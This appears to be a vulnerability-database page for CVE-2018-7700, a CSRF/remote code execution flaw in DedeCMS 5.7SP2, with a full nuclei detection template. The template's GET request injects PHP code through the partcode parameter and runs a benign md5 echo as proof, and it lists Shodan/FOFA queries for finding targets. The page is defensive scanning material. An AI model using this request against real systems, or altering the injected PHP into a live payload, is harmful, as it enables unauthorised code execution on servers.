HexBrain

Browse / CVEs / CVE-2018-7700

CVE-2018-7700· dedecms / dedecms· CWE-352

DedeCMS 5.7SP2 - Cross-Site Request Forgery/Remote Code Execution

highseverity
8.8CVSS score
74.1%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

DedeCMS 5.7SP2 is susceptible to cross-site request forgery with a corresponding impact of arbitrary code execution because the partcode parameter in a tag_test_action.php request can specify a runphp field in conjunction with PHP code.

Impact

Successful exploitation of these vulnerabilities can lead to unauthorized actions performed on behalf of the user and execution of arbitrary code.

Fix

Apply the latest security patches and update to a newer version of DedeCMS.

How to confirm it

Send: GET {{BaseURL}}/tag_test_action.php?url=a&token=&partcode={dede:field%20name=%27source%27%20runphp=%27yes%27}echo%20md5%28%22CVE-2018-7700%22%29%3B{/dede…
Positive when: contains "4cc32a3a81d2bb37271934a48ce4468a" AND status 200

Run it with nuclei: nuclei -id CVE-2018-7700 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2018-7700

info:
  name: DedeCMS 5.7SP2 - Cross-Site Request Forgery/Remote Code Execution
  author: pikpikcu
  severity: high
  description: |
    DedeCMS 5.7SP2 is susceptible to cross-site request forgery with a corresponding impact of arbitrary code execution because the partcode parameter in a tag_test_action.php request can specify a runphp field in conjunction with PHP code.
  impact: |
    Successful exploitation of these vulnerabilities can lead to unauthorized actions performed on behalf of the user and execution of arbitrary code.
  remediation: |
    Apply the latest security patches and update to a newer version of DedeCMS.
  reference:
    - https://laworigin.github.io/2018/03/07/CVE-2018-7700-dedecms%E5%90%8E%E5%8F%B0%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-7700
    - https://github.com/0ps/pocassistdb
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2018-7700
    cwe-id: CWE-352
    epss-score: 0.74118
    epss-percentile: 0.99489
    cpe: cpe:2.3:a:dedecms:dedecms:5.7:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dedecms
    product: dedecms
    shodan-query:
      - http.html:"dedecms"
      - cpe:"cpe:2.3:a:dedecms:dedecms"
    fofa-query:
      - body="dedecms"
      - app="dedecms"
  tags: cve,cve2018,dedecms,rce,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/tag_test_action.php?url=a&token=&partcode={dede:field%20name=%27source%27%20runphp=%27yes%27}echo%20md5%28%22CVE-2018-7700%22%29%3B{/dede:field}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "4cc32a3a81d2bb37271934a48ce4468a"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from